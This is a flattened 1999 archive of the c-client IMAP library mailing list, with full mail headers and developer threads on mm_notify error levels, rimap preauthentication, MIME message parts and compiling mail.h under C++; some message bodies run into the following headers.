&dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Aug 1999 14:30:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id OAA05330 for ; Tue, 3 Aug 1999 14:30:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id OAA23982; Tue, 3 Aug 1999 14:30:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA01345; Tue, 3 Aug 1999 14:29:45 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA70838 for ; Tue, 3 Aug 1999 14:27:32 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id OAA29552 for ; Tue, 3 Aug 1999 14:27:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (yfong@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id OAA04298; Tue, 3 Aug 1999 14:27:29 -0700 Message-Id: Date: Tue, 3 Aug 1999 14:22:51 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: c-client falsely reporting error? In-Reply-To: <199908031600.RAA24997@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You answered your own question, but you may not have realized it. Both mm_log() and mm_notify() are event messages, and are not necessarily errors. The main difference between the two is that mm_log() is strictly for logging telemetry, whereas mm_notify() may contain codes (e.g. [TRYCREATE]) that the application will need. The errorflag is the error level, but note that there are four levels. Thus, an mm_notify() event with an errorflag of BYE means that the stream is closing, and the application is hereby put on notice not to try to do anything more on the stream. On Tue, 3 Aug 1999 17:00:19 +0100 (BST), Karsten Ballueder wrote: > When closing connection to some pop servers, the pop driver > in c-client calls mm_notify() with an erroflag set to > BYE(==4), thus reporting the signoff message from the server > as an error. Surely, this isn't an error, it's just the > server saying "signing off". > > Is there a deeper reason behind this, or should it be a bug? From pinedev@shivax2.cac.washington.edu Mon Aug 9 21:56:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Aug 1999 21:56:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id VAA12015 for ; Mon, 9 Aug 1999 21:56:06 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id VAA16105; Mon, 9 Aug 1999 21:56:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id VAA26330; Mon, 9 Aug 1999 21:53:46 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA49646 for ; Mon, 9 Aug 1999 21:51:53 -0700 Received: from ew.mimos.my (ew.mimos.my [192.228.129.34]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id VAA29014 for ; Mon, 9 Aug 1999 21:51:51 -0700 Received: from archives.mimos.my (IDENT:sazli@archives.mimos.my [192.228.129.70]) by ew.mimos.my (8.9.3/8.9.3) with ESMTP id MAA05791 for ; Tue, 10 Aug 1999 12:51:50 +0800 (MYT) Message-Id: Date: Tue, 10 Aug 1999 12:54:29 +0800 (MYT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Syahrul Sazli Shaharir To: c-client@u.washington.edu Subject: imapcopy + rimap MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear IMAPpers, I am just trying out the imap-utils kit, and discovered that I cannot use imapcopy with rimap: it keeps doing the usual auth instead of rsh (PREAUTH). Took a peek on the c-client sources (imap_open()), from there it seems that rimap should work. Can someone point me to the right direction, while I start going deeper into the code? I may be missing something.. BTW, I'm using IMAP-4.6.BETA on Solaris 2.6, and rsh host /etc/rimapd tested OK. Thanks.. Sazli -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 17 21:43:13 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Aug 1999 21:43:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id VAA22051 for ; Tue, 17 Aug 1999 21:43:12 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id VAA21237; Tue, 17 Aug 1999 21:43:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id VAA25011; Tue, 17 Aug 1999 21:41:53 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA10594 for ; Tue, 17 Aug 1999 21:40:08 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id VAA07085 for ; Tue, 17 Aug 1999 21:40:07 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id AAA13258; Wed, 18 Aug 1999 00:41:23 -0400 (EDT) Message-Id: Date: Wed, 18 Aug 1999 00:41:23 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@u.washington.edu Subject: TYPEMESSAGE MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have a question concerning the MIME type TYPEMESSAGE. My understanding is that this is a MIME message encapsulated within the current body part. If that is the case, then is it simply a matter of referencing this as its own body? Or, am I in for an ordeal reminiscent of having one's punchcards shuffled? Maybe it's just too late and I need to think about this tomorrow... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 18 06:22:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Aug 1999 06:22:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id GAA00360 for ; Wed, 18 Aug 1999 06:22:53 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id GAA29332; Wed, 18 Aug 1999 06:22:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA10119; Wed, 18 Aug 1999 06:21:35 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA10492 for ; Wed, 18 Aug 1999 06:20:44 -0700 Received: from modulo.cal.fr (modulo.cal.fr [194.51.223.61]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA30720 for ; Wed, 18 Aug 1999 06:20:40 -0700 Received: from mtp.cal.fr (romain.cal.fr [192.168.1.5]) by modulo.cal.fr (8.8.7/8.8.7) with ESMTP id OAA20604 for ; Wed, 18 Aug 1999 14:22:50 +0200 Message-Id: <37BAB335.36F2FEA9@mtp.cal.fr> Date: Wed, 18 Aug 1999 15:20:56 +0200 Reply-To: rvignes@mtp.cal.fr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Romain Vignes To: c-client@u.washington.edu Subject: Calling c-client from C++ code MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 8bit X-Accept-Language: fr,en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I am in the process of writing a C++ program that needs to fetch messages from POP3/IMAP servers. I have encountered some problems when including the "mail.h" file from a C++ code. In fact this include file contains some C++ keywords that are used as struct/field names. The used keywords are "private" and "function". The C++ compiler breaks with some obscur error messages. I have tried to frame the file inclusion with an extern "C" block : extern "C" { #include "mail.h" } But it does not change anything. Is there a way to solve (or bypass) this problem ? I would like to known if somebody has successfully compiled the c-client toolkit in a C++ environment. BTW, I am using GCC 2.7.2 on a SCO UNIX 3.2v4 system. Thanks in advance ! -- Romain Vignes France Multimédia -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 18 06:43:10 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Aug 1999 06:43:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id GAA00393 for ; Wed, 18 Aug 1999 06:43:09 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id GAA01776; Wed, 18 Aug 1999 06:43:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA10486; Wed, 18 Aug 1999 06:42:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA31272 for ; Wed, 18 Aug 1999 06:41:37 -0700 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA10824 for ; Wed, 18 Aug 1999 06:41:21 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id OAA18776; Wed, 18 Aug 1999 14:40:29 +0100 (BST) Message-Id: <199908181340.OAA18776@phy.hw.ac.uk> Date: Wed, 18 Aug 1999 14:40:06 +0100 (BST) Reply-To: c-client@u.washington.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: rvignes@mtp.cal.fr, c-client@u.washington.edu Subject: Re: Calling c-client from C++ code In-Reply-To: <37BAB335.36F2FEA9@mtp.cal.fr> References: <37BAB335.36F2FEA9@mtp.cal.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Hello, >=20 > I am in the process of writing a C++ program that needs to fetch > messages from POP3/IMAP servers. >=20 > I have encountered some problems when including the "mail.h" file from a > C++ code. In fact this include file contains some C++ keywords that are > used as struct/field names. The used keywords are "private" and > "function". >=20 > The C++ compiler breaks with some obscur error messages. >=20 > I have tried to frame the file inclusion with an extern "C" block : >=20 > extern "C" > { > #include "mail.h" > } >=20 > But it does not change anything. >=20 > Is there a way to solve (or bypass) this problem ? I would like to known > if somebody has successfully compiled the c-client toolkit in a C++ > environment. >=20 Look at the mahogany source code http://mahogany.home.dhs.org/ we have patchec c-client to compile cleanly in a C++ environment. Mainly involved renaming illegal variable names such as "private". > BTW, I am using GCC 2.7.2 on a SCO UNIX 3.2v4 system. >=20 > Thanks in advance ! >=20 >=20 > -- > Romain Vignes > France Multim=E9dia > >=20 > --=20 > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see:=20 > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 From pinedev@shivax2.cac.washington.edu Wed Aug 18 06:59:43 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Aug 1999 06:59:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id GAA01028 for ; Wed, 18 Aug 1999 06:59:40 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id GAA02044; Wed, 18 Aug 1999 06:59:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA03079; Wed, 18 Aug 1999 06:57:29 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA48680 for ; Wed, 18 Aug 1999 06:57:03 -0700 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA12081 for ; Wed, 18 Aug 1999 06:56:49 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id OAA18959 for ; Wed, 18 Aug 1999 14:56:36 +0100 (BST) Message-Id: <199908181356.OAA18959@phy.hw.ac.uk> Date: Wed, 18 Aug 1999 14:56:13 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: bug in c-client lib MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Aug 1999 07:19:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA25533 for ; Wed, 18 Aug 1999 07:19:24 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id HAA30158; Wed, 18 Aug 1999 07:19:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA03852; Wed, 18 Aug 1999 07:18:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA37580 for ; Wed, 18 Aug 1999 07:17:04 -0700 Received: from centonline.com (mail.centonline.com [204.238.52.24]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA18196 for ; Wed, 18 Aug 1999 07:16:59 -0700 Received: from cvis0.centonline.com (cvis0 [204.238.52.4]) by centonline.com (8.8.8/8.8.8) with ESMTP id JAA10860 for ; Wed, 18 Aug 1999 09:14:50 -0500 Message-Id: Date: Wed, 18 Aug 1999 10:20:16 -0500 (CDT) Reply-To: wsuetholz@centonline.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: wsuetholz@centonline.com To: c-client Subject: RE: bug in c-client lib In-Reply-To: <199908181356.OAA18959@phy.hw.ac.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: bill@cvis0.centonline.com X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Along the same lines. Did anybody ever permanantly fix the problem in the c-client library where the allocate routines don't allocate the extra byte for a null terminator. I found this to cause all sorts of errors when I compiled with electric fence. Bill Suetholz From pinedev@shivax2.cac.washington.edu Wed Aug 18 07:35:22 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Aug 1999 07:35:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA01321 for ; Wed, 18 Aug 1999 07:35:20 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id HAA02704; Wed, 18 Aug 1999 07:35:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA07392; Wed, 18 Aug 1999 07:33:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA31506 for ; Wed, 18 Aug 1999 07:32:17 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA04501 for ; Wed, 18 Aug 1999 07:32:10 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id JAA00577; Wed, 18 Aug 1999 09:22:49 -0400 Message-Id: <015d01bee986$109cbef0$2601a8c0@voicerite> Date: Wed, 18 Aug 1999 10:29:21 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: Cc: Subject: Re: Calling c-client from C++ code + header References: <37BAB335.36F2FEA9@mtp.cal.fr> <199908181340.OAA18776@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, Karsten, I don't see anything suspicious in the header. Our mail server runs under Linux, I use MS Outlook Express 5.0 under WinNT. See for yourself: X-POP3-Rcpt: ashvedov@ares Return-Path: Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by ares.voicerite.com (8.8.3/8.8.3) with ESMTP id IAA23594 for ; Wed, 18 Aug 1999 08:33:31 -0400 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA05059; Wed, 18 Aug 1999 06:41:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA31272 for ; Wed, 18 Aug 1999 06:41:37 -0700 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id GAA10824 for ; Wed, 18 Aug 1999 06:41:21 -0700 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id OAA18776; Wed, 18 Aug 1999 14:40:29 +0100 (BST) Message-Id: <199908181340.OAA18776@phy.hw.ac.uk> Date: Wed, 18 Aug 1999 14:40:06 +0100 (BST) Reply-To: c-client@u.washington.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: rvignes@mtp.cal.fr, c-client@u.washington.edu Subject: Re: Calling c-client from C++ code In-Reply-To: <37BAB335.36F2FEA9@mtp.cal.fr> References: <37BAB335.36F2FEA9@mtp.cal.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A` Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue ;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Aug 1999 07:46:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id HAA00155 for ; Wed, 18 Aug 1999 07:46:18 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.06) with ESMTP id HAA02939; Wed, 18 Aug 1999 07:46:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA29366; Wed, 18 Aug 1999 07:40:16 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA15920 for ; Wed, 18 Aug 1999 07:39:37 -0700 Received: from smtprtp1.ntcom.nortel.net (smtprtp1.ntcom.nortel.net [137.118.22.14]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id HAA10317 for ; Wed, 18 Aug 1999 07:39:37 -0700 Received: from zcard015.ca.nortel.com (actually zcard015) by smtprtp1.ntcom.nortel.net; Wed, 18 Aug 1999 10:37:07 -0400 Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2448.0) id ; Wed, 18 Aug 1999 10:37:06 -0400 Message-Id: Date: Wed, 18 Aug 1999 10:37:02 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Lap Luu" To: "'c-client@u.washington.edu'" , rvignes@mtp.cal.fr Subject: RE: Calling c-client from C++ code MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Orig: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, we have successfully wrapped the original c-client source code with a C++ layer in VC++ 4.1 environment. What is the name and version of your C++ compiler ? Lap Luu > -----Original Message----- > From: Karsten Ballueder [SMTP:karsten@phy.hw.ac.uk] > Sent: Wednesday, August 18, 1999 9:40 AM > To: rvignes@mtp.cal.fr; c-client@u.washington.edu > Subject: Re: Calling c-client from C++ code >=20 > On Wed, 18 Aug 1999 15:20:56 +0200 you wrote: >=20 > > Hello, > >=20 > > I am in the process of writing a C++ program that needs to fetch > > messages from POP3/IMAP servers. > >=20 > > I have encountered some problems when including the "mail.h" file = from > a > > C++ code. In fact this include file contains some C++ keywords = that are > > used as struct/field names. The used keywords are "private" and > > "function". > >=20 > > The C++ compiler breaks with some obscur error messages. > >=20 > > I have tried to frame the file inclusion with an extern "C" block = : > >=20 > > extern "C" > > { > > #include "mail.h" > > } > >=20 > > But it does not change anything. > >=20 > > Is there a way to solve (or bypass) this problem ? I would like to > known > > if somebody has successfully compiled the c-client toolkit in a = C++ > > environment. > >=20 >=20 > Look at the mahogany source code > http://mahogany.home.dhs.org/ we have patchec c-client to > compile cleanly in a C++ environment. Mainly involved > renaming illegal variable names such as "private". >=20 > > BTW, I am using GCC 2.7.2 on a SCO UNIX 3.2v4 system. > >=20 > > Thanks in advance ! > >=20 > >=20 > > -- > > Romain Vignes > > France Multim=E9dia > > > >=20 > > --=20 > > ------------------------------------------------------------------ > > For information about this mailing list, and its archives, see:=20 > > http://www.washington.edu/imap/c-client-list.html > > ------------------------------------------------------------------ >=20 >=20 > -- > Karsten Ball=FCder http://Ballueder.home.dhs.org/ > mailto:karsten@phy.hw.ac.uk > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, = Scotland > Tel. +44-(0)-131-4513068 Fax. = +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" =20 >=20 >=20 From pinedev@shivax2.cac.washington.edu Sat Aug 21 18:20:36 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Aug 1999 18:20:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.01) with ESMTP id SAA10762 for ; Sat, 21 Aug 1999 18:20:34 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id SAA24170; Sat, 21 Aug 1999 18:20:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA10349; Sat, 21 Aug 1999 18:17:44 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA15904 for ; Sat, 21 Aug 1999 18:14:59 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id SAA12039 for ; Sat, 21 Aug 1999 18:14:50 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id UAA19982 for ; Sat, 21 Aug 1999 20:05:28 -0400 Message-Id: <05b001beec3b$5915a950$2601a8c0@voicerite> Date: Sat, 21 Aug 1999 21:12:01 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "DG C-CLIENT" Subject: How does imapd treat multiple conns to the same account? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Correct me if I'm wrong. I have the impression that simultaneous connections to one account are "almost" impossible. What happens on the server side (see unix_open in 